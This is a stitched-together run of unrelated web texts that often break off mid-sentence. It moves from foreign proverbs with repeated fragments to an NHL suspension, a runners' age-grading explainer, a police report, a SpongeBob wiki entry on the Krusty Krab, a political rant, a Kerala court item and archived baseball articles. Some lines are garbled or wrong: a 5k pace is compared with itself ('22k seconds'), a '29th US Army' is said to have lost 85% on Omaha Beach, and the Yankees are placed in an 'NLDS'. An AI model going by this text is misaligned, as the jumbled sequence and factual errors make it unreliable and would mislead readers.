– “ This literally translates to “Money is the root of all evil.” However, it is used to mean “The root of all evil is desire.” Danish – “ Man skal smede mens jernet er varmt.” This translates to “You have to strike while the iron is hot.” It is meant to say “This is the moment. Take the opportunity now, and don’t waste it.”
– “ This translates to “You have to strike while the iron is hot.” It is meant to say “This is the moment. Take the opportunity now, and don’t waste it.” Hebrew – “ אין הנחתום מעיד על עיסתו.” This translates as “The baker shouldn’t comment on his own dough.” Its English equivalent is “Don’t toot your own horn.”
– “ This translates as “The baker shouldn’t comment on his own dough.” Its English equivalent is “Don’t toot your own horn.” Greek – “Ο πνιγμένος, από τα μαλλιά του πιάνεται.” The literal translation says, “The drowning man grips to his own hair.” Its English equivalent is “Desperate times call for desperate measures.”
– The literal translation says, “The drowning man grips to his own hair.” Its English equivalent is “Desperate times call for desperate measures.” Spanish – “Árbol que nace torcido, jamás su tronco endereza.” This literally translates to “A tree born crooked can never grow straight.” In English we would say, “Old habits die hard.”
– This literally translates to “A tree born crooked can never grow straight.” In English we would say, “Old habits die hard.” Hindi – “अब पछताए होत क्या जब चिड़िया चुग गई खेत.” The literal translation is “What is the use of crying when the birds ate the whole farm?” It is equivalent to “Don’t cry over spilled milk.”
These examples confirm the significance of linguists and language service providers. A linguist has the knowledge and skills that are required to create documents that have been translated correctly. Could you imagine life without proper translations? Thanks to linguists, we are able to communicate properly with people in every country. In this globalized economy, businesses simply could not survive without utilizing the advantages that translation services provide.
We hope you enjoyed this list that we have put together. Please, feel free to comment and share any proverbs you may know.
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Why would you go working in a foreign country? (lexiophiles.com)-- Edmonton Oilers defenseman Andy Sutton has been suspended, without pay, for five games for delivering an illegal hit to the head of Colorado Avalanche forward Gabriel Landeskog during NHL Game No. 138 Friday night in Denver, the National Hockey League’s Department of Player Safety announced today.Under the terms of the Collective Bargaining Agreement, and based on his average annual salary, Sutton will forfeit $57,432.45. The money goes to the Players’ Emergency Assistance Fund.The incident occurred at 3:23 of the third period. Sutton was assessed a minor penalty for elbowing.Sutton missed Sunday’s game vs. St. Louis and will miss games Nov. 3 at Los Angeles, Nov. 5 at Phoenix, Nov. 8 at Montreal and Nov. 10 at Boston. He will be eligible to return Nov. 11 at Detroit.For a full explanation of the decision, complete with video, please click on the following link: http://video.nhl.com/videocenter/console?catid=60&id=131979Go the Runner’s World Age Graded Calculator to see your running speed less your age handicap Smile 🙂 Read on to see how your handicap was calculated
It starts with the World Masters Association’s extrapolation of World Record (WR) race times for runners of all ages, at distances from 5k to 200k. A subset of the WMA’s numbers look like this:
As runners grow up and mature, they tend to get faster in all races, until they peak around 22 years old. Up to the age of 28 they stay at peak for the 5k and 10k, up to the age of 32 for the half marathon, and up to the age of 35 for the full marathon. Then runners get slower, the effect increasing with age, and dramatically slowing after 70.
The difference between World Record paces for the 5k, 10k, half marathon and marathon stay surprisingly consistent across runners’ ages. 10k pace is, on average, 11 seconds per mile slower than 5k pace, from ages 18-60. Half marathon pace is 10 seconds per mile slower than 10k pace, and Marathon pace is 13 seconds slower than half marathon pace.
If you aren’t a world record holder expect your pace differences to be larger. If you run a two-hour half marathon, roughly double the WR time, expect your pace differences to also be double that of the WR holders, so your best marathon pace (if you’re well trained) might be about 26 seconds per mile (13 x 2) slower than your best half marathon pace, your half marathon pace about 20 seconds slower per mile than your 10k pace, and your 5k pace about 22k seconds per mile slower than your 5k pace.
To make the effect of age more obvious, instead of viewing the time to finish a race by age, let’s look at how much longer (or shorter) it takes to do various races with each passing year.
You can see how much faster, world-class, young runners can expect to get in a year. 5k times shrink by 29 seconds between ages 10 and 11, 13 seconds between ages 15 and 16, and 9 seconds between ages 18 and 19. Longer races quicken even more dramatically. Between ages 20 and 21, 5k times will decrease by only 5 seconds, but 10k times will decrease 11 seconds, half marathon times by 27 seconds and full marathon times by 61 seconds.
We see that runners reach their full potential at 22 years old. The performance spike at 22 may reflect the age that many ‘amateur’ athletes turn pro. I suspect the drop in marathon performance at age 35 reflects the decision of many pros to retire on this nice round birthday.
The steady, linear decline after the age of 35 is clear. From ages 39 to 67, 5k WR times increase 6-10 seconds a year, 10k times 13-20 seconds per year, half marathon times 29-47 seconds per year, and marathon times increase from 63-105 seconds per year. Again if you’re twice as slow as the world record holders expect your times to increase twice as fast.
Finally it’s easiest to see what’s going on when we look at pace changes per mile per year for various races at various ages. Surprisingly our paces speed up nearly identically across all race distances as we mature, then equally consistently slow down as we age. World class runners speed up about 10 seconds per mile between the ages of 10 and 11, whatever the distance, 5 seconds per mile between the ages of 15 and 16, 2 seconds at 20, 1 second at 21, then stay at peak until 28 for the 5k and 10k, 32 for the half and 35 for the full marathon. Finally we begin to slow, roughly 2 second per mile per year until our mid forties, then 3 seconds per mile until about 65.
Our charts plot the numbers in the WMA 2010 spreadsheet. This sheet extrapolates World Record (WR) times and speeds for running races from 5k to 200k, for men and women, from age five to one hundred. WMA stands for World Masters Athletics, the organization designated by the IAAF to run the worldwide sport of Masters (Veterans) Track and Field. These estimates are used to drive Age Grade, the WMA’s method of handicapping* runners by age and sex.
* Handicapping, in sport and games, is the practice of assigning advantage through scoring compensation or other advantage given to different contestants to equalize the chances of winning.
Share this: Twitter
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RedditIt was a series of mobile phone pictures that led a man to allegedly rob a cyclist and threaten officers with a wine bottle, police allege.
The pictures were taken by a cyclist who told police he saw a man driving erratically down Parramatta Road at Strathfield on Wednesday, January 13.
Moments later, the driver allegedly got out of his Mazda 3 and confronted the cyclist before stealing his mobile phone and driving off.
Police were able to track the man down at his house later in they day where they allege he threatened them with a wine bottle before running off.
The man then allegedly made a series of phone calls to Burwood and Campsie police stations over the next four days, threatening the safety of officers.This article is in need of cleanup in order to comply with Encyclopedia SpongeBobia's Manual of Style. Please help this Wiki by making this article clean and tidy! Please remove this message when finished.
It has been suggested that Krusty Krab be renamed to The Krusty Krab. The reason given was: That's what it says on the sign.
If you were looking for the article about the, then see
Location
The Krusty Krab is a fast food restaurant located in Bikini Bottom, founded and owned by Eugene H. Krabs. It is also the most popular restaurant in Bikini Bottom. It first appears in the pilot episode "Help Wanted."
Famous for its Krabby Patty sandwiches, it is a rival to Plankton's across-the-street restaurant, the Chum Bucket.
Contents show]
History
Mr. Krabs loves money and is openly concerned about his profits above all else. Because of this, he pays his employees very cheaply but SpongeBob doesn't care, and sells his food for expensive prices.
The reason the restaurant is so popular is because of the Krabby Patty, a burger with a very top secret recipe, which has almost always been the signature Krusty Krab dish. Other Krusty Krab grub includes typical fast food products such as french fries and sodas, as well as underwater foods such as coral bits and Kelp rings.
All of these items make up the Galley Grub, the food menu of the Krusty Krab. The KrustyKrab's employees include SpongeBob SquarePants as the fry cook and Squidward Tentacles as the cashier.
SpongeBob loves his job and is great at it, while Squidward is the exact opposite, and hates his job and is terrible at it. The two employees work great together (according to SpongeBob) and terrible (according to Squidward); Squidward is annoyed by SpongeBob, while SpongeBob considers him to be one of his best friends.
The Krusty Krab's main business competitor is the Chum Bucket, owned by Plankton, Mr. Krabs' worst enemy, and former best friend.
While the Chum Bucket, the restaurant's only competitor usually fails, there have been some short instances when the Chum Bucket was not failing. These infrequent short periods of time are the only times when the Krusty Krab has any competition. Stephen Hillenburg's original name for The Krusty Krab was the "Crusty Crab," but he decided that the intentional misspellings of the "C"s for "K"s was funnier.
The building itself may have once been an old New England lobster trap since it greatly resembles one. The original owners may have found the trap lying at the bottom of the ocean, and fixed it up and turned it into a building. Another theory is that the building could have been purposely designed to resemble a lobster trap so it could look more nautical than a regular building.
In one version of the origin, the Krusty Krab was born when Mr. Krabs, who had been secluded in a deep depression after serving in the military that seemed endless, acquired a bankrupt retirement home called "The Rusty Krab."[2]
However, in another version of the origin, depicting that Mr. Krabs was once a seafaring pirate and that the Krusty Krab was originally his ship.[3]
However, it is said that after retiring from piracy, Mr. Krabs sold his ship. He could have purchased the retirement home after this, and it could have been a coincidence that it was called the Rusty Krab and had the same shell design as Mr. Krabs' ship.
In "Friend or Foe," which revealed the origin of Mr. Krabs and Plankton's rivalry, it is shown that Mr. Krabs first went into the fast food business in his childhood. The Krabby Patty secret formula was created when a shelf was broken during Krabs and Plankton's struggles, causing various ingredients to slide into the patty batter. However, other episodes, most notably "Enemy In-Law," state that the Krabby Patty and its formula is a family recipe, such as in "Dunces and Dragons," which shows that the Krabby Patty was first served in medieval times by King Krabs, an ancestor of Mr. Krabs, who was introduced to it as a result of SpongeBob and Patrick's time traveling. As for salaries, Squidward and SpongeBob, the only two employees besides their boss Mr. Krabs, have varying salaries depending on the episode that are mostly for the joke. In some instances, they are paid an actual (if not minimal) paycheck, while some other instances show that they actually are to pay Mr. Krabs (this is most notable in the episode "Squid on Strike," where Squidward is forced to pay for his services). Another episode shows they are paid only one nickel (5 cents) a day, according to an episode in which Squidward mentions this fact and SpongeBob cannot stop laughing. "One Coarse Meal" shows that Mr. Krabs pays SpongeBob with Wacky bucks, a fake currency which obviously has no value, only just for a gag. In yet another episode, SpongeBob states that he had to pay Mr. Krabs $100 an hour when he first started working.
Design and Features
Exterior
The Krusty Krab building has a wooden chassis with glass windows/walls and appears from the outside as an old lobster trap. There is a large clam-shaped sign in front of the building, similar to those used by real-life fast food restaurants, and five international maritime signal flags above the front door. There is a pole outside its right window as seen in the episode "My Pretty Seahorse." It shares a resemblance to a New England lobster trap. It might have just been built to look like a lobster trap, but it is also possible that it was actually formed from an old sunken lobster trap.
Parking Lot
There is no parking lot, although boats always park outside on a road surrounding the restaurant. It is unknown how so many customers can fit inside the Krusty Krab, when there are no cars, but most customers walk to the restaurant, as seen in many episodes including it.
Drive-thru
The drive-thru is seen throughout the first four seasons, but its most notable appearance is in the episode "Driven to Tears" when Mr. Krabs introduces it to SpongeBob. It is removed until the episode "Drive Thru," when an un-repaired hole is mistaken for a drive-thru, causing chaos at the Krusty Krab. Its purpose was to serve travelers and tourists that did not have time to eat at the Krusty Krab. In "Driven to Tears," it resembles a modern drive-thru, but in its latest appearance, it is cheaply built. It used tin cans with string for microphones, old napkins for a menu board, and a bent noodle for a sign. The drive-thru was gotten rid of after it caused chaos in the Krusty Krab. There is another drive-thru on the backside of the restaurant which only appears in The SpongeBob Movie: Sponge Out of Water when Sandy is ordering Krabby Patties.
Interior
Dining area
Like other buildings in the series, the Krusty Krab's interior design is sometimes highly inconsistent between episodes. The Krusty Krab's basicfloor plan consists of one main eating area, with the kitchen, Mr. Krabs' office, and bathrooms in separate rooms at the back of the building. There is also a crow's nest located in one of the pillars.
The order stand consists of a small boat directly in front of the window leading to the kitchen.
To go with the show's nautical theme, the Krusty Krab bears a striking resemblance to a New England lobster trap. When someone first enters inside, there is the main eating area, which is one of the largest rooms in the building. The tables are made out of sailing ship steering wheels, with barrels as chairs. Near the kitchen door is the order station, where the cash register is located and where Squidward works, taking customers' orders and giving them to SpongeBob through the order window which is shaped like the bow of a ship. In some episodes, there is a salad stand near the order window, and a "Condiment Island" stand, with ketchup and the like. At the back of the building are many rooms, which are very inconsistent but mostly correct in the following order. In "Krabs à la Mode," a thermostat is shown inside of the Krusty Krab. Mr. Krabs installs a ceiling fan in "SpongeBob vs. The Big One." It also has a small area in between the roof of the kitchen, Mr. Krabs' office, and the bathrooms, which appears to be a storage area. It is featured in "Penny Foolish," when Squidward sits on a box holding a flashlight over Krabs, and in "Truth or Square," when the crew broke a ventilation vent in order to get off of the air ducts. The Krusty Krab also features a "lock down" mode, in which metal plates guard the doors and windows.
Office
On the far left is Mr. Krabs' office where Mr. Krabs works as an employer, with a money safe, a desk made out of an old sea trunk, chairs made out of old barrels, pictures, money on the wall, etc. There is also a door to the kitchen, where Krabs can check on SpongeBob from the kitchen.The safe is also where the Krabby Patty secret formula is located most of the time, and Mr. Krabs' money is hidden.
The safe is commonly found at the back wall of the office. There is a desk made out of a trunk, and two chairs made out of barrels. There are paintings along the walls as well. On one side of the room, is the entrance to the kitchen, to check on SpongeBob. On the other side of the wall, there are flags, a window, and a shelf where it holds artifacts.
In the episode "Mermaid Pants," it is revealed that Mr. Krabs has a secret room behind the shelf where he stores many comic books. Mr. Krabs pulls on one of the books, revealing another secret room where his Captain Tightwad outfit is stored behind the back wall of the secret room.
Regarding its role in the series, many appearances of Mr. Krabs' office occur whenever employees need or want to see Mr. Krabs. In the episode "The Algae's Always Greener," however, it is the place where Mr. Plankton, Plankton's Mr. Krabs life-switched counterpart.
Kitchen
The kitchen is SpongeBob's station where he makes the Krabby Patties and stores his cleaning supplies. It has a grill for cooking patties. There are storage cupboards for ingredients. A window is seen, which is used to place orders and to serve them once they are done. The kitchen is commonly used as a storage space.
The grill sits in the middle of an internal wall of the Krusty Krab, with a kitchen window placed above the grill, in which SpongeBob can easily give the Krabby Patties to Squidward. To the right of the grill is a fryer. On the back wall is a cupboard and some wooden barrels. One of the walls consistently has a bottle of ketchup, mustard, and mayonnaise on a kitchen shelf, as well as many black-colored pots and pans hanging on the wall.
In some episodes, it is vast, holding a "Patty Vault" full of Krabby Patties, a freezer that Squidward was frozen in for 2,000 years once, and many other hallways and rooms. Also, as seen in "Planet of the Jellyfish," the freezer now holds cases of mayonnaise. It has a refrigerator before in "Pat No Pay." According to the episode "Restraining SpongeBob," the kitchen's width is about 15 ft.
Restroom
Other interior features
There is one restroom located on the far back right of the dining room. It has urinals, toilets, and sinks. A sign saying to wash fins can be seen written in both English and Spanish. In most episodes, there are two or sometimes three stalls.Most notably in "Truth or Square," there is shown to be many nooks and crannies in the Krusty Krab, such as a massive ventilation system. That system also has a surveillance room wherethere are computers that spy on every house in Bikini Bottom. In various episodes, it is shown to be hosts to several secret passages and rooms. Some examples are found in "Truth or Square" and " Chum Bucket Supreme."
There is also a storage room where food and other items are commonly stored.
Quality
Apart from its excellent food, the Krusty Krab exhibits many of the undesirable qualities of real-life fast food restaurants. It is dirty and cheaply maintained, and the building is sometimes shown to be in a state of disrepair. This is shown by the "faulty wiring" and green slime oozing from the walls in "Graveyard Shift."
Technology
In the "Krusty Krab Training Video," basic features of modern fast food restaurants implemented by the Krusty Krab are described as "the latest achievements in fast food technology" and given extravagant descriptions. This "technology" includes:
Spatula: "Advanced patty-control mechanism."
Cash register: "Automated money-handling system." (Don't touch!)
Ice cubes: "Imported high quality temperature devices."
Straws: "Prototype liquid transfer machines."
Ketchup packets: "State of the art condiment dispersal units."
Galley Grub
Main article: Galley Grub Galley Grub is the menu of the Krusty Krab. The menu is shown differently at times. The menus usually contain meals, side dishes, and beverages. The Krabby Patty is present on every menu ever shown. In "Pickles," it is revealed in very small, almost impossible-to-read print that refunds are guaranteed, but in other episodes there are no refunds, or there may be, but because it is so small and impossible to read unless the camera focuses directly onto the guarantee, it is impossible to determine if a menu is written. The biggest menu that has been made was shown in the episode "Mermaid Man and Barnacle Boy V."
List of items
In various other episodes, there are foods and drinks mentioned, but not shown in the Galley Grub. Some of the products are even mentioned more than once, whether or not they are in the Galley Grub.
Table
Krabby Patty
Double Patty Patty
Krabby Junior Junior
Jumbo Small Patty
Junior Senior Sophomore Patty
Quarter Ouncer Double Pounder
Super Double Triple Patty
Jumbo Patty Super Jumbo
Captain Olaf's Special
Super Seaweed Shake
(NOTE: The prices for the menu items were not shown in this episode).
Krabby Patty - $2.99 (99¢ on Wednesday) w/ cheese - $3.99 ($1.99 on Wednesday)
Krabby Combo - $3.99
Kiddie Meal - $1.99
Krabby Fries - $2.99
Another Alternate Menu
Krabby Pattie - $2.00
Krusty Combo - $3.99
Krusty Deluxe - $3.00
Seaweed Salad - $1.50
Coral bits - $1.95
Krabby Patty - $1.25 w/ sea cheese - $1.50
Double Krabby Patty - $2.00 w/ sea cheese - $2.25
Triple Krabby Patty - $3.00 w/ sea cheese - $3.25
Coral bits Small - $1.00 Medium - $1.25 Large - $1.50
Kelp Rings - $1.50 salty sauce - $0.50
Krabby Meal - $3.50
Double Krabby Meal - $3.75
Triple Krabby Meal - $4.00
Salty Sea Dog - $1.25
Footlong - $2.00
Sailors Surprise - $3.00
Golden Loaf - $2.00 w/ sauce - $2.50
Kelp Shake - $2.00
Seafoam Soda Small - $1.00 Medium - $1.25 Large - $1.50
Trivia Book Menu
In the books, Trivia Book and Ready for Laughs, the following menu is:
Other foods/drinks
In various other episodes, there are foods and drinks mentioned, but not shown on the Galley Grub. Some of the products are even mentioned more than once, whether or not they are on the Galley Grub. Food
Drinks
Seafoam Soda Krabby Cola - "Komputer Overload"
In the episode "Pickles," the words "money back guarantee" are written in extremely small print on the bottom of The Galley Grub.
Regulars
Policies
Employees
Policies and disclaimers held by The Krusty Krab for the employees include:
The Krusty Krab Employee Manual; Second revised edition; page 35; section 19; Clause 3A: All staff must remain on the premises until the day's receipts are fully accounted for. This is seen in "Can You Spare a Dime?"
The Krusty Krab Employee Manual; Second revised edition; page 35; section 19; Clause 3B: The proprietor reserves the right to be unfair. This is also seen in "Can You Spare a Dime?."
Think of the customer.
We serves all kinds. This is seen in "Bubble Buddy."
Everyone's money is good (an escaped convict with a sack of stolen money is shown eating a Krabby Patty). This is also seen in "Bubble Buddy."
The customers' jokes are always funny. This is seen in the episode "Sponge-Cano."
Krusty Krab Rule book; Rule #2: Never disclose the location of the secret formula! This is seen in "One Coarse Meal."
The Industries Labor Agreement; Section 9 number 34.44/429b Specifically prohibits the disclosure of the secret formula to friends, even when those friends are closer 'n two catfish in a skillet. This is seen in "Someone's in the Kitchen with Sandy."
Privileges
Employees are granted a discount on purchased items. This is seen in the episode "To Love a Patty."
Employees can have worker's compensation: Employees get paid while they are at home. This is seen in "The Splinter."
Customers
Policies and disclaimers held by The Krusty Krab for the customers include:
The Krusty Krab policy clearly states that once the patty has reached the customer, it is his / her responsibility. This is seen in "Born Again Krabs."
Money back guarantee (seen only in microscopic print). This is seen in "Pickles."
No free napkins.
No free refills. This is seen in "Patty Hype."
A standing fee will be given if a customer does not buy anything. This is seen in the "Krusty Krab Training Video."
No refunds. This is seen in "Squidtastic Voyage" and some other episodes.
Any money brought into The Krusty Krab must be spent in The Krusty Krab. This is seen in Mutiny on the Krusty.
Both Customers and Employees
Policies and disclaimers held by The Krusty Krab for both customers and employees include:
The Krabby Patty secret formula is the sole property of The Krusty Krab and is only to be discussed in part or in whole with its creator Mr. Krabs. Duplication of this formula is punishable by law. Restrictions apply, results may vary. This is seen in "Imitation Krabs."
No outside beverages. No exceptions. This is stated in "Best Frenemies."
A hide and seek fee will be paid if you want to play on The Krusty Krab premises. This is seen in "Hide and Then What Happens?."
Do not touch the thermostat ever. This stated in "Krabs a la Mode."
Nobody eats in The Krusty Krab for free (royalty or not). This is seen in "Rule of Dumb."
Advertisements
Squidward is the director at first, but when Krabs sees the insane values of Squidward's commercial, he fires the crew and directs an extremely cheap and poorly made commercial using only himself, his employees, and his daughter. The commercial was shown in the "prime time slot" of 3:28 AM, and featured Pearl and Squidward playing teenage girls getting their first Krabby Patty from Mr. Krabs. SpongeBob made only two partial cameos in the commercial, but was extremely excited to see himself on TV and believed that he was now a celebrity. In the commercial, The Krusty Krab's slogan is jokingly shown to be "Come spend your money here!"
A Vintage Krusty Krab commercial was seen in "Truth or Square." [5]
Another Krusty Krab commercial aired which appears to advertise the Krusty Kid's Meal, which at that time was themed on Mermaid Man and Barnacle Boy. This is seen in "Mermaid Man vs. Sponge
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the way, nor is ISIS as Barry Obama contends and Varoufakis and Tsipras know just how to encourage the emotions of this Greek tragedy and it will be Germany and the EU which will continue to be funded for those who understand the strategic board which is being weaved today, well, the EU cannot allow Greece to depart....
God Bless us all for the future without America's strong arsenal will serve to encourage those who seek the demise of the west and unless strong and committed sovereign leadership replaces these pompous empty politicians whose self-serving agenda is to line their own coffers and to hell with the folks, we folks are at great peril!
Gather up your silver and gold as the promise in devaluating global currencies point to much uncertainty as we move forward and if Ms. Hillary Clinton should take the reigns of the US Presidency in '16, well folks, corruption and self-serving agenda will lead to even more uncertainty and conflict -- 85% of the 29th US Army were slaughtered on Omaha Beach on 6th June 1944 when American youth were sent to save Europe from the hell Hitler promised and w/American, French, British and other heros, including the Greeks who played a pivotal role in Greece causing much consternation for Hitler during the war, I wonder if NATO and the Europeans understand the threats to security which experts perceive as quite real today....
My bet is on the present leadership of Greece and whether many Europeans like it or not, the EU will not allow Greece to falter --
God Bless us all -
Christopher Tingus
Managing Director
Innovative Global Technologies
[email protected]: The Kerala High Court on Wednesday asked the state government to inform about the commercial benefits involved in the Vizhinjam International Seaport Limited project. Considering a petition filed by MK Salim of Kollam seeking a CBI probe into the awarding of the project to Adani group, the court said the allegations are serious and that the future of the state is at stake. Government should explain about the commercial considerations behind the deal as well as the commercial benefits arising out of it, the court said.The petitioner had raised the demand for a CBI investigation citing the report of the Comptroller and Auditor General (CAG) that the state’s interests were not protected when the deal was signed.Noticing the petitioner’s allegation that the government failed in providing necessary infrastructure to an enquiry commission appointed for probing the deal, the court asked the government to inform the steps taken in this regard. It was alleged by the petitioner that though the enquiry commission was to submit a report in six months, the commission had publicly declared that nothing could be done for four months due to lack of infrastructure. Citing the CAG report, the petitioner has alleged that the deal signed by the government would result in loss to the state from the first day of project implementation until the last day.Digital Version of Baseball Magazine
This was the official website for an online version of Baseball Magazine providing commentary on the history of the game along with commentary on contemporary baseball topics.
Content is from the site's 2015 -2016 archived pages.
I really enjoyed this magazine. You could say I am a baseball fan, in the extreme according to my friends. For instance, when I learned that the Columbia MD moving company, Von Paris Moving & Storage, I was using for a move to Boston (yea...Red Sox) had been named the official Mover of the Baltimore Orioles, the Baltimore Ravens and the Baltimore Symphony Orchestra, I was psyched. Since I lived so close to Baltimore, I attended just about every Baltimore Orioles home game. My moving company was used to move anything associated with the Baltimore Orioles. Perhaps they also had moved some of the players like when they were moving into a new home. My truck might have moved Mark Trumbo or Zach Britton. Ok, Ok, maybe I am getting a bit too enthusiastic. My friends kid me, asking whom I will be rooting for when the Red Soxs play the Orioles. Ah! I won't worry about that. It's the game of baseball, itself, I love.
CIRCA 2015
We at Baseball Magazine are extremely proud to debut this month, October 15, our first digital issue of our magazine. Each month, we will be adding the latest issue, with magazine-exclusive content that you won’t find on the web site.
About Baseball Magazine
Baseball Magazine is being brought back from the grave, not as it’s now-defunct print version, but in digital format. Our goal as a staff is to celebrate and provide thought-provoking commentary on the history of the game, while tying in contemporary baseball topics and their relevance on our National Pastime. A little history about the original Baseball Magazine… It was the first monthly baseball magazine published in the United States.The magazine was founded by Boston sportswriter Jake Morse prior to the 1908 season.It continued publishing through 1957 before shutting down for good. The print version of the magazine also provided human interest stories about baseball stars, such as Ty Cobb and Christy Mathewson, and that is also something that today’s Baseball Magazine will provide as well. Mr. Morse stated that his mission in starting Baseball Magazine was to “fill the need of a monthly organ filled with the highest thought surrounding the game, well edited, well printed, and filled with first class illustrations.” It’s Mr. Morse’s vision and goals that we intend to carry on with this new version of his brain child, Baseball Magazine. His thoughts and believes will be tightly-woven into every single piece that appears on this site. A monthly baseball publication was unique for the times. The monthly format permitted lengthy examination of baseball issues which the weekly Sporting Life and its competitor The Sporting News didn’t often pursue with their focus on on-the-field results. “BaseCharles Bevis, SABR) In late 1910, less than three years after the founding of the magazine, Joseph Potts replaced Mr. Morse as president of Baseball Magazine. He remained as editor for a time, but the December 1911 issue was the last one he edited. F.C. Lane, who had joined the publication as associate editor for the July 1911 issue, became the editor of Baseball Magazine effective with the January 1912 issue. Lane relocated the magazine’s office to New York City and expanded the editorial content to “outdoor sports” such as football and ice hockey, and published more mainstream articles that appealed to a broader readership. Bevis, SABR) Where the original Baseball Magazine left off, is where the 21st century version wants to begin. Quite a bit has occurred in the game since the last issue was published in 1957. We intend to close that gap, while remaining fresh and relevant in regards to today’s game as well.
Baseball Magazine – October 2015
Looking Back at the Playing Career of Don Mattingly
Jacob R Misener
Despite five-straight seasons in which the Los Angeles Dodgers finished above.500, Don Mattingly and the club parted ways in mid-October, leaving the door open for him to test the waters elsewhere. According to multiple reports, Donnie Baseball is headed to South Beach to help lead a talented, albeit raw Miami Marlins team that features a nucleus that includes Jose Fernandez and slugger Giancarlo Stanton.
For my generation, Mattingly is a manager. Most don’t even know anything regarding his playing career, which spanned from 1982 to 1995 – all of which was spent in the Bronx with the New York Yankees. Without understanding just how talented Mattingly was as a player, it’s honestly quite difficult to wrap one’s mind around why he’s such a hot-button issue out west, where he became the first skipper to lead the Dodgers to three-straight division titles.
A 19th-round pick of the Yankees in the 1979 draft, it took just a handful of years in the minors before Mattingly made his way to the Big Apple, where he made his big-league debut on Sept. 8, 1982 as a defensive replacement for skipper Clyde King.
It was not until the next season, 1983, that Mattingly started to show promise. In just under 100 games, he batted.283/.333/.409 – which are solid numbers in and of themselves. But, from there, the story of Donnie Baseball changed forever.
From 1984 to 1989, the Yankees’ first baseman finished in the top seven of American League MVP voting five different times, earning an All-Star selection in each one of those campaigns. In 1985, just his third full season in the bigs, Mattingly won the AL MVP, to go along with his first Gold Glove and Silver Slugger awards after posting a.939 OPS with 145 runs batted in, 48 doubles and 35 long-balls.
During a four-year stretch in the mid-1980s, Mattingly averaged 30 homers and 121 RBI for New York, but, despite his astounding play, the Yankees failed to make the postseason from the time the slugger was drafted until his final season in pinstripes, 1995.
By that point, Bernie Williams and Paul O’Neill took over carrying the offensive load, marking the beginning of George Steinbrenner’s historic 1990’s teams of Bombers that went on to win the Fall Classic five times from 1995 to 2001. But in Mattingly’s only postseason appearance, the team failed to advance past the NLDS – a trend that has continued into his managerial career.
For whatever reason, after working exclusively in the Yankees’ organization as a coach and special instructor for over a decade following his retirement, the front office decided to tap Joe Girardi as the next skipper of the storied franchise, setting up his eventual departure to the Dodgers, where he also worked as a coach until taking over the reins himself.
Yet, here we are. Another relationship between Donnie Baseball and a storied baseball franchise done and over. After not getting the job done in both Los Angeles and New York, could sunny South Beach be the place where Mattingly gets past that first round and finally gets a taste of the World Series?
Who Invented Baseball?
Charlie Spencer-Davis
The first game of the 111th World Series was a long one. Like more than five hours long. Do the math backwards and the first World Series was in 1903 (there was no World Series in 1904 before the tradition resumed again in 1905).
But jump back even further– all the way to 1839– and we see the misguided inception of the game of baseball.
Many have credited Abner Doubleday with the invention of the game of baseball. That, however, is inaccurate and untrue. Doubleday himself never claimed to have invented the game, and was at West Point in 1839. So where, then, did America’s Favorite Pastime come from?
One has to jump back to a murky history, across the ocean and back to the 18th century. American baseball’s closest relatives are found in the English games of rounders and cricket. Those games traveled across the Atlantic with the first colonizers of the New World, and as the decades passed, children played variations of both on playgrounds and at university.
With the turn of the American Industrial Revolution, men in busy urban areas sought recreation. In one city, New York City, a group of men organized a baseball club. And so, in 1845, the New York Knickerbocker Baseball Club was founded. It was then, that we first see the coordinated organization of baseball in the United States.
Alexander Joy Cartwright– a firefighter and bank clerk– codified the rules for the group, most prominently the diamond-shaped infield and the three-strikes-you’re-out that define the game even today. He also, smartly, removed the beaning rule where the defense could get the runner out by pegging them with the live baseball.
These rule distinctions added more layers of intrigue, a faster pace, and a little more gamesmanship to the young game of baseball.
And in 1846, the New York Knickerbocker Baseball Club played the first unofficial organized American baseball game against a cricket team.
And the game of baseball was born. Not ‘new’ from the mind of a Civil War soldier, but the product of a group of men from New York looking for ways to, well, pass the time.
Remembering Eiji Sawamura: A Celebrated Life of Sacrifice
Matt Mirro
Eiji Sawamura during the 1934 15-game exhibition series against Major League Baseball all-stars. Image Courtesy of War is Boring.com
In 1934 an All-Star team of American Major League Baseball stars arrived on the shores of Japan. Their goal was to spread the United States’ great national pastime to Japan by way of a 15 game expedition series. The Japanese were overmatched as the All-Star team that included Babe Ruth, Lou Gehrig and Jimmie Fox mowed down their competition. Yet, one game is still celebrated by Japanese baseball fans. One marked by fantastic talent and incredible sacrifice.
17-year old Eiji Sawamura was widely considered the best high school ballplayer in Japan’s new and budding baseball culture. When he was asked to take part in the exhibition series it meant being expelled from high school and forfeiting the chance to pitch in college. But Sawamura saw it as a great opportunity to represent his country and gave up a future education for the chance to take on the best players in the world. The young righty hurler took the mound against Earl Whitehill and the two became locked in a pitchers’ duel that is still talked about today. Sawamura would steal the show despite ultimately losing the game. That’s not surprising considering he struck out Charlie Gehringer, Ruth, Gehrig and Foxx in succession, a stunning feat comparable only to Carl Hubbell’s performance in the 1934 All-Star Game and, later, Pedro Martinez in the 1999 All-Star Game.
Sawamura would go on to play for the Tokyo Kyojin (Now the Yomiuri Giants) and establish himself as a superstar right off the bat. In 1936 he went 14-3 with a 1.18 ERA and 123 strikeouts at just 19-years old. The next year he went 33-10 with a 1.38 ERA and an incredible 325 strikeouts. He consistently declined to play in America despite the best efforts of big league teams. It’s been long told how an American scout tried to trick the young pitcher into a getting him to sign a deal by telling him the paper he was signing (Which was actually a contract) was just an autograph request. Connie Mack, the legendary architect and manager of the Philadelphia Athletics also attempted to add him.
Sadly, Sawamura’s legend ended tragically. In 1944 he was serving on a Japanese transport ship as World War II was still in full force. While his ship was sailing off the coast of Taiwan it was attacked and sunk by American warships. Among the deceased was Sawamura. The legendary pitcher who had once dazzled against the best hitters Major League baseball had to offer was just 27 years old. Another sad story from history’s worst conflict.
Since 1947, the Nippon Professional Baseball League has awarded the year’s best pitcher the Eiji Sawamura Award, the equivalent of MLB’s Cy Young Award. Many of its recent recipients have gone on to play for Major League clubs. Hideo Nomo won the award in 1990, five years before debuting in America as a member of the Los Angeles Dodgers. Koji Uehara, currently the closer for the Boston Red Sox, earned the prize twice, once in 1999 and then again in 2002. Hisashi Iwakuma, the free agent who has played with the Seattle Mariners since 2012, won his in 2008 as a member of the Rakuten Golden Eagles and his former teammate and current ace of the New York Yankees, Masahiro Tanaka, was the recipient of the coveted title in 2011 and 2013. Yu Darvish of the Texas Rangers also won the award in 2007 while pitching for the Nippon-Ham Fighters.
Sawamura lost his life too young and, despite never playing in America, still has a relevant place in baseball. His legacy lives on with the other immortals.
Baseball As It Was
